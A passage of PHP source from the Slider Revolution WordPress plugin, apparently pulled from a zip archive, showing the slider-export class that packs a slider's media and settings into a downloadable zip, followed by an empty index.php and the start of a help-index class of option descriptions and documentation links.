		$this->static_slide		= $this->get_static_slide_for_export();
		
		if(!empty($this->export_slides) && count($this->export_slides) > 0)	$this->all_slides = array_merge($this->all_slides, $this->export_slides);
		if(!empty($this->static_slide) && count($this->static_slide) > 0)	$this->all_slides = array_merge($this->all_slides, $this->static_slide);
	}
	
	
	/**
	 * remove the image_id as its not needed in export
	 **/
	public function remove_image_ids(){
		if($this->get_val($this->slider_params, array('troubleshooting', 'alternateURLId'), false) !== false){
			unset($this->slider_params['troubleshooting']['alternateURLId']);
		}
		
		if(!empty($this->export_slides)){
			foreach($this->export_slides as $k => $s){
				if($this->get_val($this->export_slides[$k], array('params', 'bg', 'imageId'), false) !== false){
					unset($this->export_slides[$k]['params']['bg']['imageId']);
				}
				/*if($this->get_val($this->export_slides[$k], array('params', 'bg', 'videoId'), false) !== false){ //TODO maybe not delete, depending on if this is a wordpress media library id (then yes) or not
					unset($this->export_slides[$k]['params']['bg']['videoId']);
				}*/
				if($this->get_val($this->export_slides[$k], array('params', 'thumb', 'customThumbSrcId'), false) !== false){
					unset($this->export_slides[$k]['params']['thumb']['customThumbSrcId']);
				}
				if($this->get_val($this->export_slides[$k], array('params', 'thumb', 'customAdminThumbSrcId'), false) !== false){
					unset($this->export_slides[$k]['params']['thumb']['customAdminThumbSrcId']);
				}
				if($this->get_val($this->export_slides[$k], array('params', 'bg', 'lastLoadedImage'), false) !== false){
					unset($this->export_slides[$k]['params']['bg']['lastLoadedImage']);
				}
			}
		}
		
		if(!empty($this->static_slide)){
			foreach($this->static_slide as $k => $s){
				if($this->get_val($this->static_slide[$k], array('params', 'bg', 'imageId'), false) !== false){
					unset($this->static_slide[$k]['params']['bg']['imageId']);
				}
				/*if($this->get_val($this->static_slide[$k], array('params', 'bg', 'videoId'), false) !== false){ //TODO maybe not delete, depending on if this is a wordpress media library id (then yes) or not
					unset($this->static_slide[$k]['params']['bg']['videoId']);
				}*/
				if($this->get_val($this->static_slide[$k], array('params', 'thumb', 'customThumbSrcId'), false) !== false){
					unset($this->static_slide[$k]['params']['thumb']['customThumbSrcId']);
				}
				if($this->get_val($this->static_slide[$k], array('params', 'thumb', 'customAdminThumbSrcId'), false) !== false){
					unset($this->static_slide[$k]['params']['thumb']['customAdminThumbSrcId']);
				}
				if($this->get_val($this->static_slide[$k], array('params', 'bg', 'lastLoadedImage'), false) !== false){
					unset($this->static_slide[$k]['params']['bg']['lastLoadedImage']);
				}
			}
		}
	}
	
	
	/**
	 * remove the background image on transparent or solid colored slides
	 **/
	public function remove_background_image(){
		if(!empty($this->export_slides)){
			foreach($this->export_slides as $k => $s){
				if(isset($this->export_slides[$k]['params']) && (in_array($this->get_val($this->export_slides[$k]['params'], array('bg', 'type')), array('solid', 'trans', 'transparent'), true))){
					if($this->get_val($this->export_slides[$k]['params'], array('bg', 'image'), false) !== false)
						$this->export_slides[$k]['params']['layout']['bg']['image'] = '';
				}
			}
		}
		if(!empty($this->static_slide)){
			foreach($this->static_slide as $k => $s){
				if(isset($this->static_slide[$k]['params']) && (in_array($this->get_val($this->static_slide[$k]['params'], array('bg', 'type')), array('solid', 'trans', 'transparent'), true))){
					if($this->get_val($this->static_slide[$k]['params'], array('bg', 'image'), false) !== false)
						$this->static_slide[$k]['params']['bg']['image'] = '';
				}
			}
		}
	}
	
	
	/**
	 * add all used images
	 **/
	public function add_used_images(){
		$image = $this->get_val($this->slider_params, array('layout', 'bg', 'image'));
		$a_url = $this->get_val($this->slider_params, array('troubleshooting', 'alternateURL'));
		
		if($image != '') $this->used_images[$image] = true;
		if($a_url != '') $this->used_images[$a_url] = true;
		
		if(!empty($this->all_slides) && count($this->all_slides) > 0){
			foreach($this->all_slides as $key => $slide){
				$params = $this->get_val($slide, 'params', array());
				$layers = $this->get_val($slide, 'layers', array());
				
				$image = $this->get_val($params, array('bg', 'image'));
				$thumb = $this->get_val($params, array('thumb', 'customThumbSrc'));
				$a_thumb = $this->get_val($params, array('thumb', 'customAdminThumbSrc'));
				
				if($image != '') $this->used_images[$image] = true;
				if($thumb != '') $this->used_images[$thumb] = true;
				if($a_thumb != '') $this->used_images[$a_thumb] = true;
				
				if(!empty($layers)){
					foreach($layers as $layer){
						$type		= $this->get_val($layer, 'type', 'text');
						$image		= $this->get_val($layer, array('media', 'imageUrl'));
						$bg_image	= $this->get_val($layer, array('idle', 'backgroundImage'));
						
						if($image != '') $this->used_images[$image] = true;
						if($bg_image != '')	$this->used_images[$bg_image] = true;
						
						if(in_array($type, array('video', 'audio'))){
							$poster = $this->get_val($layer, array('media', 'posterUrl'), '');
							if($poster != '') $this->used_images[$poster] = true;
						}
						if($type === 'video'){
							$very_big	= $this->get_val($layer, array('media', 'thumbs', 'veryBig'));
							$big		= $this->get_val($layer, array('media', 'thumbs', 'big'));
							$large		= $this->get_val($layer, array('media', 'thumbs', 'large'));
							$medium		= $this->get_val($layer, array('media', 'thumbs', 'medium'));
							$small		= $this->get_val($layer, array('media', 'thumbs', 'small'));
							
							$very_big	= (is_array($very_big) && isset($very_big['url'])) ? $very_big['url'] : $very_big;
							$big		= (is_array($big) && isset($big['url'])) ? $big['url'] : $big;
							$large		= (is_array($large) && isset($large['url'])) ? $large['url'] : $large;
							$medium		= (is_array($medium) && isset($medium['url'])) ? $medium['url'] : $medium;
							$small		= (is_array($small) && isset($small['url'])) ? $small['url'] : $small;
							
							if($very_big != '') $this->used_images[$very_big] = true;
							if($big != '')		$this->used_images[$big] = true;
							if($large != '')	$this->used_images[$large] = true;
							if($medium != '')	$this->used_images[$medium] = true;
							if($small != '')	$this->used_images[$small] = true;
						}
					}
				}
			}
		}
	}
	
	
	/**
	 * add all used videos, also removing values if unneeded
	 **/
	public function add_used_videos(){
		if(!empty($this->all_slides) && count($this->all_slides) > 0){
			foreach($this->all_slides as $k => $slide){
				$params = $this->get_val($slide, 'params', array());
				$layers = $this->get_val($slide, 'layers', array());
				$static = $this->get_val($params, array('static', 'isstatic'), false);
				//html5 video
				if($this->get_val($params, array('bg', 'type')) == 'html5'){
					if($this->get_val($params, array('bg', 'mpeg')) != '')	$this->used_videos[$this->get_val($params, array('bg', 'mpeg'))] = true;
					if($this->get_val($params, array('bg', 'webm')) != '')	$this->used_videos[$this->get_val($params, array('bg', 'webm'))] = true;
					if($this->get_val($params, array('bg', 'ogv')) != '')	$this->used_videos[$this->get_val($params, array('bg', 'ogv'))] = true;
				}else{
					if($static){
						if($this->get_val($params, array('bg', 'mpeg')) != '')	$this->set_val($this->static_slide, array(0, 'params', 'bg', 'mpeg'), '');
						if($this->get_val($params, array('bg', 'webm')) != '')	$this->set_val($this->static_slide, array(0, 'params', 'bg', 'webm'), '');
						if($this->get_val($params, array('bg', 'ogv')) != '')	$this->set_val($this->static_slide, array(0, 'params', 'bg', 'ogv'), '');
					}else{
						if($this->get_val($params, array('bg', 'mpeg')) != '')	$this->set_val($this->export_slides, array($k, 'params', 'bg', 'mpeg'), '');
						if($this->get_val($params, array('bg', 'webm')) != '')	$this->set_val($this->export_slides, array($k, 'params', 'bg', 'webm'), '');
						if($this->get_val($params, array('bg', 'ogv')) != '')	$this->set_val($this->export_slides, array($k, 'params', 'bg', 'ogv'), '');
					}
				}
				
				//image thumbnail
				if(!empty($layers)){
					foreach($layers as $lk => $layer){
						if(in_array($this->get_val($layer, 'type'), array('video', 'audio'))){
							
							if($this->get_val($layer, array('media', 'mediaType')) == 'html5'){
								if($this->get_val($layer, array('media', 'mp4Url'), '') != '')	$this->used_videos[$this->get_val($layer, array('media', 'mp4Url'), '')] = true;
								if($this->get_val($layer, array('media', 'webmUrl'), '') != '')	$this->used_videos[$this->get_val($layer, array('media', 'webmUrl'), '')] = true;
								if($this->get_val($layer, array('media', 'ogvUrl'), '') != '')	$this->used_videos[$this->get_val($layer, array('media', 'ogvUrl'), '')] = true;
							}else{ //if(!in_array($this->get_val($layer, array('media', 'mediaType')), array('html5', 'audio')))
								if($this->get_val($layer, array('media', 'audioUrl')) != '') $this->used_videos[$this->get_val($layer, array('media', 'audioUrl'))] = true;
								$this->set_val($layer, array('media', 'mp4Url'), '');
								$this->set_val($layer, array('media', 'webmUrl'), '');
								$this->set_val($layer, array('media', 'ogvUrl'), '');
							}
							
							if($static){
								$this->static_slide[0]['layers'][$lk] = $layer;
							}else{
								$this->export_slides[$k]['layers'][$lk] = $layer;
							}
						}
					}
				}
			}
		}
	}
	
	
	/**
	 * add all used captions
	 * @obsolete since: 6.0
	 **/
	public function add_used_captions(){
		if(!empty($this->all_slides) && count($this->all_slides) > 0){
			foreach($this->all_slides as $key => $slide){
				$layers = $this->get_val($slide, 'layers', array());
				
				if(!empty($layers)){
					foreach($layers as $lk => $layer){
						if($this->get_val($layer, array('idle', 'style')) != '') $this->used_captions[$this->get_val($layer, array('idle', 'style'))] = true;
					}
				}
			}
		}
	}
	
	
	/**
	 * add all used animations
	 * @obsolete since: 6.0
	 **/
	public function add_used_animations(){
		if(!empty($this->all_slides) && count($this->all_slides) > 0){
			foreach($this->all_slides as $key => $slide){
				$layers = $this->get_val($slide, 'layers', array());
				
				if(!empty($layers)){
					foreach($layers as $lk => $layer){
						if(strpos($this->get_val($layer, 'animation'), 'customin') !== false)		$this->used_animations[str_replace('customin-', '', $this->get_val($layer, 'animation'))] = true;
						if(strpos($this->get_val($layer, 'endanimation'), 'customout') !== false)	$this->used_animations[str_replace('customout-', '', $this->get_val($layer, 'endanimation'))] = true;
					}
				}
			}
		}
	}
	
	
	/**
	 * add navigations if not default animation
	 **/
	public function add_used_navigations(){
		$nav = new RevSliderNavigation();
		
		$navigations = $nav->get_all_navigations(false, true);
		
		$arrows	 = $this->get_val($this->slider_params, array('nav', 'arrows', 'style'), false);
		$bullets = $this->get_val($this->slider_params, array('nav', 'bullets', 'style'), false);
		$thumbs	 = $this->get_val($this->slider_params, array('nav', 'thumbs', 'style'), false);
		$tabs	 = $this->get_val($this->slider_params, array('nav', 'tabs', 'style'), false);
		
		if($arrows !== false)	$this->used_navigations[$arrows] = true;
		if($bullets !== false)	$this->used_navigations[$bullets] = true;
		if($thumbs !== false)	$this->used_navigations[$thumbs] = true;
		if($tabs !== false)		$this->used_navigations[$tabs] = true;
	}
	
	
	/**
	 * add all used svg
	 **/
	public function add_used_svg(){
		if(!empty($this->all_slides) && count($this->all_slides) > 0){
			foreach($this->all_slides as $key => $slide){
				$layers = $this->get_val($slide, 'layers');
				
				if(!empty($layers)){
					foreach($layers as $lk => $layer){
						if($this->get_val($layer, 'type') == 'svg'){
							$svg = $this->get_val($layer, array('svg', 'source'));
							if($svg !== ''){
								$this->used_svg[$svg] = true;
							}
						}
					}
				}
			}
		}
	}
	
	
	/**
	 * modify the used stuff data
	 **/
	public function modify_used_data(){
		$d = array('used_svg' => $this->used_svg, 'used_images' => $this->used_images, 'used_videos' => $this->used_videos);
		$d = apply_filters('revslider_exportSlider_usedMedia', $d, $this->all_slides, $this->slider_params); //$this->export_slides, $this->static_slide, 
		
		$this->used_svg		= $d['used_svg'];
		$this->used_images	= $d['used_images'];
		$this->used_videos	= $d['used_videos'];
	}
	
	
	/**
	 * serialize the export data
	 **/
	public function serialize_export_data(){
		$data = array(
			'id'	 => $this->slider_id,
			'title'	 => $this->slider_title,
			'alias'	 => $this->slider_alias,
			'params' => $this->slider_params,
			'slides' => $this->export_slides,
			'settings' => $this->slider_settings
		);
		
		if(!empty($this->static_slide)) $data['static_slides'] = $this->static_slide;
		
		$data = apply_filters('revslider_exportSlider_export_data', $data, $this);
		
		$this->export_data = json_encode($data);
	}
	
	
	/**
	 * serialize the navigation data
	 **/
	public function serialize_navigation_data(){
		if(!empty($this->used_navigations)){
			$nav = new RevSliderNavigation();
			$this->navigation_data = $nav->export_navigation($this->used_navigations);
			if($this->navigation_data !== false) $this->navigation_data = json_encode($this->navigation_data);
		}
	}
	
	
	/**
	 * prepare the css for export
	 **/
	public function prepare_caption_css(){
		if(!empty($this->used_captions)){
			$captions = array();
			foreach($this->used_captions as $class => $val){
				$caption = $this->get_captions_content($class);
				if(!empty($caption)){
					unset($caption['id']);
					$captions[] = $caption;
				}
			}
			$this->style_data = json_encode($captions);
		}
	}
	
	
	/**
	 * serialize the animation data
	 **/
	public function serialize_animation_data(){
		if(!empty($this->used_animations)){
			$animations = array();
			foreach($this->used_animations as $anim => $val){
				$animation = $this->get_custom_animation_by_id($anim);
				if($animation !== false) $animations[] = $animation;
			}
			if(!empty($animations)) $this->animations_data = json_encode($animations);
		}
	}
	
	
	/**
	 * get animation params by id
	 * @before: RevSliderOperations::getFullCustomAnimationByID()
	 */
	public function get_custom_animation_by_id($id){
		global $revslider_animations;

		$this->fill_animations();
		if(empty($revslider_animations)) return false;
		
		foreach($revslider_animations as $animation){
			if($animation['id'] == $id){
				return array(
					'id'	 => $animation['id'],
					'handle' => $animation['handle'],
					'params' => $animation['params'],
					'settings' => $animation['settings']
				);
			}
		}
		
		return false;
	}
	
	
	/**
	 * create the blank zip file to be used further on
	 **/
	public function create_export_zip(){
		$this->usepcl = false;
		
		if(file_exists($this->export_path_zip)){
			@unlink($this->export_path_zip); //delete file to start with a fresh one
		}
		
		if(class_exists('ZipArchive')){
			$this->zip = new ZipArchive;
			$success = $this->zip->open($this->export_path_zip, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
			
			if($success !== true)
				$this->throw_error(__("Can't create zip file: ", 'revslider').$this->export_path_zip);
		}else{
			//fallback to pclzip
			require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php');
			
			$this->pclzip = new PclZip($this->export_path_zip);
			
			//either the function uses die() or all is cool
			$this->usepcl = true;
		}
	}
	
	
	/**
	 * add svg to the zip file, by modifying data in $export_data
	 **/
	public function add_svg_to_zip(){
		if(empty($this->used_svg)) return;
		
		$c_url	= str_replace(array('http:', 'https:'), '', content_url());
		$c_path	= ABSPATH . 'wp-content';
		$ud		= wp_upload_dir();
		$up_dir	= $this->get_val($ud, 'baseurl');
		$up_dir	= str_replace(array('http:', 'https:'), '', $up_dir);
		$cont_url			= str_replace(array('http:', 'https:'), '', $this->get_val($ud, 'baseurl'));
		$cont_url_no_www	= str_replace('www.', '', $cont_url);
		
		foreach($this->used_svg as $file => $val){
			if(strpos($file, 'http') !== false){ //remove all up to wp-content folder
				$file		= str_replace(array('http:', 'https:'), '', $file);
				$_checkpath = str_replace(array($cont_url.'/', $cont_url_no_www.'/'), '', $file);
				$checkpath = str_replace($c_url, '', $file);
				$checkpath2 = str_replace($up_dir, '', $file);
				if($checkpath2 === $file){ //we have an SVG like whiteboard, fallback to older export
					$checkpath2 = $checkpath;
				}
				
				//check if file is in the upload folder, if yes, add it to the zip file
				if(strpos($file, $up_dir) !== false){
					if(!$this->usepcl){
						$this->zip->addFile($c_path.$checkpath, 'images/'.$_checkpath);
					}else{
						$this->pclzip->add($c_path.$checkpath, PCLZIP_OPT_REMOVE_PATH, $c_path, PCLZIP_OPT_ADD_PATH, $_checkpath);
					}
				}
				$file = str_replace('/', '\/', $file);
				$checkpath2 = str_replace('/', '\/', str_replace('/revslider/assets/svg', '', $checkpath2));

				if(is_file($c_path.$checkpath)){
					$this->export_data = str_replace(array('http:'.$file, 'https:'.$file), $checkpath2, $this->export_data);
				}
			}
		}
	}
	
	
	/**
	 * push images and videos to the zip file
	 **/
	public function add_images_videos_to_zip($root = false){
		$this->used_images = array_merge($this->used_images, $this->used_videos);
		
		if(!empty($this->used_images)){
			$upload_dir			= $this->get_upload_path();
			$upload_dir_multi	= wp_upload_dir();
			$cont_url			= $this->get_val($upload_dir_multi, 'baseurl');
			$cont_url2			= (strpos($cont_url, 'http://') !== false) ? str_replace('http://', 'https://', $cont_url) : str_replace('https://', 'http://', $cont_url);
			$cont_url_no_www	= str_replace('www.', '', $cont_url);
			$cont_url2_no_www	= str_replace('www.', '', $cont_url2);
			$upload_dir_multi	= $this->get_val($upload_dir_multi, 'basedir').'/';
			
			foreach($this->used_images as $file => $val){
				//replace double // except the http:// https://
				$file = str_replace(array('http://', 'https://'), '!!!!!', $file);
				$file = str_replace('//', '/', $file);
				$file = str_replace('!!!!!', 'http://', $file);
				
				$add_path		= ($root === false) ? 'images/' : '';
				$add_structure	= ($root === false) ? 'images/'.$file : $file;
				if($root === false){
					$file_push = $file;
				}else{
					$file_expl = explode('.', $file);
					$extension = strtolower(end($file_expl));
					if(in_array($extension, array('jpg', 'jpeg', 'png', 'gif'))){
						$file_push = 'thumb.'.strtolower(end($file_expl));
					}else{
						$file_push = 'video.'.strtolower(end($file_expl));
					}
				}
				
				if(strpos($file, 'http') !== false){
					//check if we are in objects folder, if yes take the original image into the zip-
					$remove		= false;
					$checkpath	= str_replace(array($cont_url.'/', $cont_url_no_www.'/', $cont_url2.'/', $cont_url2_no_www.'/'), '', $file);
					
					$add_checkpath = ($root === false) ? 'images/'.$checkpath : $checkpath;
					if($root === true){
						$add_checkpath = explode('/', $add_checkpath);
						$add_checkpath = end($add_checkpath);
					}
					
					if(is_file($upload_dir.$checkpath)){
						if(!$this->usepcl){
							$this->zip->addFile($upload_dir.$checkpath, $add_checkpath);
						}else{
							$this->pclzip->add($upload_dir.$checkpath, PCLZIP_OPT_REMOVE_PATH, $upload_dir, PCLZIP_OPT_ADD_PATH, $add_path);
						}
						$remove = true;
					}elseif(is_file($upload_dir_multi.$checkpath)){
						if(!$this->usepcl){
							$this->zip->addFile($upload_dir_multi.$checkpath, $add_checkpath);
						}else{
							$this->pclzip->add($upload_dir_multi.$checkpath, PCLZIP_OPT_REMOVE_PATH, $upload_dir_multi, PCLZIP_OPT_ADD_PATH, $add_path);
						}
						$remove = true;
					}
					
					if($remove){ //as its http, remove this from strexport

						/*
						 * fixes an issue where external urls were not getting processed
						*/
						try {
							$unescaped = json_encode(json_decode($this->export_data), JSON_UNESCAPED_SLASHES); // only available from php 5.4
						}
						catch(Exception $e) {
							$unescaped = $this->export_data;
						}
						
						$this->export_data = str_replace(array($cont_url . '/' . $checkpath, $cont_url_no_www . '/' . $checkpath), $checkpath, $unescaped);
						// $this->export_data = str_replace(array($cont_url.$checkpath, $cont_url_no_www.$checkpath), $checkpath, $this->export_data);
					}
				}else{
					if(is_file($upload_dir.$file)){
						if(!$this->usepcl){
							$this->zip->addFile($upload_dir.$file, $add_structure);
						}else{
							$this->pclzip->add($upload_dir.$file, PCLZIP_OPT_REMOVE_PATH, $upload_dir, PCLZIP_OPT_ADD_PATH, $add_path);
						}
					}elseif(is_file($upload_dir_multi.$file)){
						if(!$this->usepcl){
							$this->zip->addFile($upload_dir_multi.$file, $add_structure);
						}else{
							$this->pclzip->add($upload_dir_multi.$file, PCLZIP_OPT_REMOVE_PATH, $upload_dir_multi, PCLZIP_OPT_ADD_PATH, $add_path);
						}
					}
				}
			}
		}

	}
	
	
	/**
	 * push the slider, slides and layer data to the zip
	 **/
	public function add_slider_export_to_zip($filename = 'slider_export.txt'){
		if(!$this->usepcl){
			$this->zip->addFromString($filename, $this->export_data);
		}else{
			$list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => $filename, PCLZIP_ATT_FILE_CONTENT => $this->export_data)));
			if($list == 0){
				die("ERROR : '".$this->pclzip->errorInfo(true)."'");
			}
		}
	}
	
	
	/**
	 * push the custom animations to the zip
	 **/
	public function add_animations_to_zip(){
		if(strlen(trim($this->animations_data)) > 0){
			if(!$this->usepcl){
				$this->zip->addFromString('custom_animations.txt', $this->animations_data); //add custom animations
			}else{
				$list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'custom_animations.txt', PCLZIP_ATT_FILE_CONTENT => $this->animations_data)));
				if($list == 0){
					die("ERROR : '".$this->pclzip->errorInfo(true)."'");
				}
			}
		}
	}
	
	
	/**
	 * push the custom css styles to the zip
	 **/
	public function add_styles_to_zip(){
		if(strlen(trim($this->style_data)) > 0){
			if(!$this->usepcl){
				$this->zip->addFromString('styles.txt', $this->style_data);
			}else{
				$list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'styles.txt', PCLZIP_ATT_FILE_CONTENT => $this->style_data)));
				if($list == 0){
					die("ERROR : '".$this->pclzip->errorInfo(true)."'");
				}
			}
		}
	}
	
	
	/**
	 * push the custom navigations to the zip
	 **/
	public function add_navigation_to_zip(){
		if(strlen(trim($this->navigation_data)) > 0){
			if(!$this->usepcl){
				$this->zip->addFromString('navigation.txt', $this->navigation_data);
			}else{
				$list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'navigation.txt', PCLZIP_ATT_FILE_CONTENT => $this->navigation_data)));
				if($list == 0){
					die("ERROR : '".$this->pclzip->errorInfo(true)."'");
				}
			}
		}
	}
	
	
	/**
	 * push the static styles to the zip
	 **/
	public function add_static_styles_to_zip(){
		$static_css = $this->get_static_css();
		if(trim($static_css) !== ''){
			if(!$this->usepcl){
				$this->zip->addFromString("static-captions.css", $static_css); //add slider settings
			}else{
				$list = $this->pclzip->add(array(array( PCLZIP_ATT_FILE_NAME => 'static-captions.css',PCLZIP_ATT_FILE_CONTENT => $static_css)));
				if ($list == 0) { die("ERROR : '".$this->pclzip->errorInfo(true)."'"); }
			}
		}
	}
	
	
	/**
	 * push the info.cfg to the zip
	 * allow for slider packs the automatic creation of the info.cfg
	 **/
	public function add_info_to_zip(){
		if(apply_filters('revslider_slider_pack_export', false)){
			if(!$this->usepcl){
				$this->zip->addFromString('info.cfg', md5($this->alias)); //add slider settings
			}else{
				$list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'info.cfg', PCLZIP_ATT_FILE_CONTENT => md5($this->alias))));
				if($list == 0){
					die("ERROR : '".$this->pclzip->errorInfo(true)."'");
				}
			}
		}
	}
	
	
	/**
	 * close the zip if we are not in pcl
	 **/
	public function close_export_zip(){
		if(!$this->usepcl){
			$this->zip->close();
		}
	}
	
	
	/**
	 * send the zip to the client browser
	 **/
	public function push_zip_to_client(){
		$exportname = (!empty($this->slider_alias)) ? $this->slider_alias.'.zip' : 'slider_export.zip';
		
		header('Content-type: application/zip');
		header('Content-Disposition: attachment; filename='.$exportname);
		header('Pragma: no-cache');
		header('Expires: 0');
		readfile($this->export_path_zip);
	}
	
	
	/**
	 * delete the export zip file, ignoring errors
	 **/
	public function delete_export_zip(){
		@unlink($this->export_path_zip);
	}
	
	
	/**
	 * Export a Zip with video, thumbnail and layergroup for import
	 * @dev function
	 **/
	public function export_layer_group($videoid, $thumbid, $layers){
		$this->create_export_zip();
		
		$this->slider_alias = 'layergroup';
		$this->used_images[$this->get_url_attachment_image($thumbid)] = true;
		$this->used_videos[$this->get_url_attachment_image($videoid)] = true;
		$this->add_images_videos_to_zip(true);
		$this->export_data = stripslashes($layers);
		$this->add_slider_export_to_zip('layers.txt');
		$this->close_export_zip();
		
		return $this->export_url_zip;
	}
}PK�y3\�ƹ�includes/index.phpnu�[���<?php // Silence is golden
PK�y3\/�X-� 	� 	includes/help.class.phpnu�[���<?php
/**
* @author    ThemePunch <info@themepunch.com>
* @link      https://www.themepunch.com/
* @copyright 2019 ThemePunch
*/
if(!defined('ABSPATH')) exit();

class RevSliderHelp {

	/**
	 * @return array
	 */
	public static function getIndex() {
		$translations = array(
			'docs' => __('Docs', 'revsliderhelp'),
			'tutorial' => __('Tutorial', 'revsliderhelp'),
			'helpDirectory' => __('Help Directory', 'revsliderhelp'),
			'supportCenter' => __('Support Center', 'revsliderhelp'),
			'searchPlaceholder' => __('Search for an Option', 'revsliderhelp'),
			'tutorials' => __('Tutorials', 'revsliderhelp'),
			'slider' => __('Slider', 'revsliderhelp'),
			'navigation' => __('Navigation', 'revsliderhelp'),
			'slide' => __('Slide', 'revsliderhelp'),
			'layer' => __('Layer', 'revsliderhelp'),
			'settings' => __('Settings', 'revsliderhelp'),
			'helpMode' => __('Help Mode', 'revsliderhelp'),
			'hoverTip' => __('Hover your mouse over any option to learn more.', 'revsliderhelp'),
			'viewDocs' => __('Documentation', 'revsliderhelp'),
			'showOption' => __('Show Option', 'revsliderhelp'),
			'option' => __('Option', 'revsliderhelp'),
			'options' => __('Options', 'revsliderhelp'),
			'faqs' => __('FAQs', 'revsliderhelp'),
			'search' => __('Search Keywords, e.g. "Background"', 'revsliderhelp'),
			'instructions' => __('Hover over any option to learn more', 'revsliderhelp'),
			'selectresult' => __('Select a Search Result')
		);
		$u = 'https://www.themepunch.com/slider-revolution/';
		$fu = 'https://www.themepunch.com/faq/';
		$t = 'title';
		$h = 'helpPath';
		$k = 'keywords';
		$d = 'description';
		$a = 'article';
		$s = 'section';
		$hl = 'highlight';
		$m = 'menu';
		$st = 'scrollTo';
		$f = 'focus';
		$d = 'description';
		$di = 'dependency_id';
		$dp = 'dependencies';
		$p = 'path';
		$v = 'value';
		$o = 'option';
		$helpindex = array(
			'general_how_to' => array(
				'responsive_setup' => array(
					'activate_responsive_viewports' => array(
						$t => __("Activate Responsive Viewports", 'revsliderhelp'),
						$h => 'faq',
						$k => array("respon", "responsive", "viewport", "viewports", "responsive viewports", "breakpoints", "break points", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"),
						$d => __("Enable multiple stage sizes for custom set responsive content", 'revsliderhelp'),
						$a => $fu . "responsive-content/",
						$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_custom_n")
					),
					'responsive_grid_sizes' => array(
						$t => __("Responsive Grid Sizes", 'revsliderhelp'),
						$h => 'faq',
						$k => array("respon", "responsive", "viewport", "grid sizes", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"),
						$d => __("Define custom grid widths and heights per device/viewport", 'revsliderhelp'),
						$a => $fu . "responsive-content/#breakpoints",
						$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_width_d")
					),
					'content_size_position' => array(
						$t => __("Content Size/Position", 'revsliderhelp'),
						$h => 'faq',
						$k => array("respon", "responsive", "content", "size", "position", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"),
						$d => __("Modify font size and layer position per device", 'revsliderhelp'),
						$a => $fu . "incorrect-size-or-position/",
						$hl => array($dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_basic', $f => "#layer_pos_x")
					),
					'layers_responsive_behavior' => array(
						$t => __("Layers Responsive Behavior", 'revsliderhelp'),
						$h => 'doc',
						$k => array("respon", "responsive", "layer", "layers", "content", "behavior", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"),
						$d => __("Responsive alignment and positioning", 'revsliderhelp'),
						$a => $u . "responsive-settings/",
						$hl => array($dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_13", $st => '#form_layerposition_basic', $f => "#layer_behavior_intelSize")
					),
					'layers_mobile_visibility' => array(
						$t => __("Layers Mobile Visibility", 'revsliderhelp'),
						$h => 'doc',
						$k => array("respon", "responsive", "layer", "layers", "content", "visibility", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"),
						$d => __("Disable slider on mobile, hide layer content below screen size", 'revsliderhelp'),
						$a => $u . "responsive-settings/#device-visibility",
						$hl => array($dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_13", $st => '#form_layercontent_visibility', $f => "*[data-r='visibility.m']")
					),
					'responsive_text_images' => array(
						$t => __("Responsive Text/Images", 'revsliderhelp'),
						$h => 'doc',
						$k => array("respon", "responsive", "layer", "layers", "text", "image", "images", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"),
						$d => __("Adjust the size of text and images for each reponsive viewport", 'revsliderhelp'),
						$a => $u . "size-position/#responsive",
						$hl => array($dp => array('layerselected::text||button||image'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => "#layer_font_size_idle")
					)
				),
				'slide_management' => array(
					'add_new_slide' => array(
						$t => __("Add New Slide", 'revsliderhelp'),
						$h => 'doc',
						$k => array("slide", "slides", "add slide", "new slide", "slide template", "template", "blank slide", "bulk slide", "blank", "bulk"),
						$d => __("add/duplicate/delete Slides", 'revsliderhelp'),
						$a => $u . "slide-management/#add-new-slide",
						$hl => array($dp => array('addslide'))
					),
					'slide_order' => array(
						$t => __("Change Slide Order", 'revsliderhelp'),
						$h => 'doc',
						$k => array("slide", "slide order", "order", "ordering"),
						$d => __("Change the order in which the Slides appear", 'revsliderhelp'),
						$a => $u . "slide-management/#switch-reorder-slides",
						$hl => array($dp => array('slideorder'))
					)
				),
				'add_edit_content' => array(
					'change_background' => array(
						$t => __("Set/Change Slide Background", 'revsliderhelp'),
						$h => 'doc', 
						$k => array("slide", "slide settings", "background", "bg", "image", "images", "color", "video", "image background"),
						$d => __("Set the Slide's Main background to a color, image or video", 'revsliderhelp'),
						$a => $u . "slide-background/",
						$hl => array($m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "#slide_bg_type")
					),
					'change_slider_background' => array(
						$t => __("Set/Change Module Background", 'revsliderhelp'),
						$h => 'doc', 
						$k => array("slide", "slide settings", "background", "bg", "image", "images", "color", "video", "image background"),
						$d => __("Set the Module's Main background to a color, image or video", 'revsliderhelp'),
						$a => $u . "module-layout/#module-background",
						$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmobg', $f => "#sliderbgcolor")
					),
					'change_layer_background' => array(
						$t => __("Set/Change Layer Background", 'revsliderhelp'),
						$h => 'doc', 
						$k => array("slide", "slide settings", "background", "bg", "image", "images", "color", "video", "image background"),
						$d => __("Set a Layer's Main background to a color, image or video", 'revsliderhelp'),
						$a => $u . "font-colors-styling/#background",
